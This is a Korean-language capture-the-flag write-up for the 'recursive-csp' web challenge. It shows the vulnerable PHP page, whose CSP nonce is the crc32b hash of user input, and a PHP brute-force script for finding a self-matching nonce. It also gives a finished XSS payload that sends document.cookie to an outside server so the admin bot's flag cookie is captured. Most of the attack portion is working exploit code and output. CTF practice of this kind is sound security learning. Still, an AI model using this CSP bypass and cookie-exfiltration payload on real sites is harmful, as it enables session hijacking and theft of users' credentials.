<?php
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
입력받은 값을 출력해주는 간단한 코드이다.
그러나 script를 쓰기 위해서는 csp에 의해서 nonce값이 필요한데, nonce값은 우리가 입력한 값을
crc32b의 해시 값이 된다.
따라서 페이로드 입력 → 해시값 → nonce값에 해시값을 다시 입력 → 해시값 의 무한 반복의
문제 이름과 같은 재귀(recursive) 와 같은 상황이 나오게 된다.
딱히 다른 bypass 방법도 보이지 않아서, 페이로드에 있는 nonce의 해시값과 crc32b 해시값이 같은
페이로드를 찾기 시작했다.
<?php
for($i = 0x00000000; $i != 0xffffffff; $i++){
$data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
$gen = '<script nonce="'.$data.'">location.href=\'https://sh-flaskserver.run.goorm.app/?test=\'+document.cookie</script>dice';
$nonce = hash("crc32b", $gen);
if ($i%0x100000===0){
echo $data;
echo ("\n");
}
if ($data === $nonce){
echo "found\n";
echo $gen.$data.$nonce;
exit();
}
}
?>
<script nonce="09792f59">location.href='https://sh-flaskserver.run.goorm.app/?test='+document.cookie(https://sh-flaskserver.run.goorm.app/?test=%27+document.cookie)</script>dice
crc32b_hash = "09792f59"
이제 이 페이로드가 담긴 링크를 어드민봇에게 제출하게 되면, 쿠키에 담긴 플래그 값을 받을 수 있다.
<?php
for($i = 0x00000000; $i != 0xffffffff; $i++){
$data = str_pad( strval(dechex($i)), 8, "0", STR_PAD_LEFT);
$gen = '<script nonce="4578d824">location.href=\'https://sh-flaskserver.run.goorm.app/?test=\'+document.cookie</script>dice';
$nonce = hash("crc32b", $gen);
if ($data === $nonce){
echo "found\n";
echo $gen.$data.$nonce;
exit();
}
}
?>
처음에는 위의 코드와 같이 일정 수준 끊어서 진행상황을 출력하는 것이 아닌,
일일히 진행상황을 출력하는 바람에 속도차이가 몇십배나 차이가 나버렸다.
이 실수 하나 때문에 recursive-csp에 시간을 너무 쏟게 되었고, 다른 문제를 별로 손대지 못하여서 자세히 분석하지 못한게 너무 아쉬웠다.....ㅠ